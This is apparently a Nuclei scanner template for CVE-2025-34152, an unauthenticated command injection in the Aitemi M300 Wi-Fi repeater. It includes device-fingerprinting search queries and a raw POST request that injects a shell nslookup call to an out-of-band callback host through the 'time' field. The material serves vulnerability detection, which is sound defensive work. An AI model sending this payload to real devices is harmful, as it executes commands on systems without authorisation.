id: CVE-2025-34152

info:
  name: Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthenticated Remote Command Execution via `time` Parameter
  author: Chocapikk,DhiyaneshDk
  severity: critical
  description: |
    An unauthenticated OS command injection vulnerability exists in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02) via the 'time' parameter of the '/protocol.csp?' endpoint. The input is processed by the internal date '-s' command without rebooting or disrupting HTTP service. Unlike other injection points, this vector allows remote compromise without triggering visible configuration changes.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the time parameter in the protocol.csp endpoint without disrupting device operation.
  remediation: |
    Update Shenzhen Aitemi M300 Wi-Fi Repeater firmware to the latest version that properly sanitizes the time parameter.
  reference:
    - https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/
    - https://github.com/rapid7/metasploit-framework/pull/20455/files
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34152
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-741058468 "lighttpd/1.4.32"
    fofa-query: icon_hash="-741058468" && server=="lighttpd/1.4.32"
  tags: cve,cve2025,aitemi,m300,wifi,unauth,rce,vkev,vuln

variables:
  payload: "`$(nslookup {{interactsh-url}})`"

http:
  - raw:
      - |
        POST /protocol.csp?x HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}/network.html

        fname=system&opt=time_conf&function=set&time={{url_encode(payload)}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_all(body, "error","opt")'
          - 'contains(content_type, "text/plain")'
        condition: and
# digest: 480a00453043021f1828ab8dcca19cc8156d4ac128faadd537a2618478d157d063634dfce3a6c202205986d115d00ff5752de13a2cc578b58e533402d5b6dd8294fe18bf45e3ec0863:922c64590222798bb761d5b6d8e72950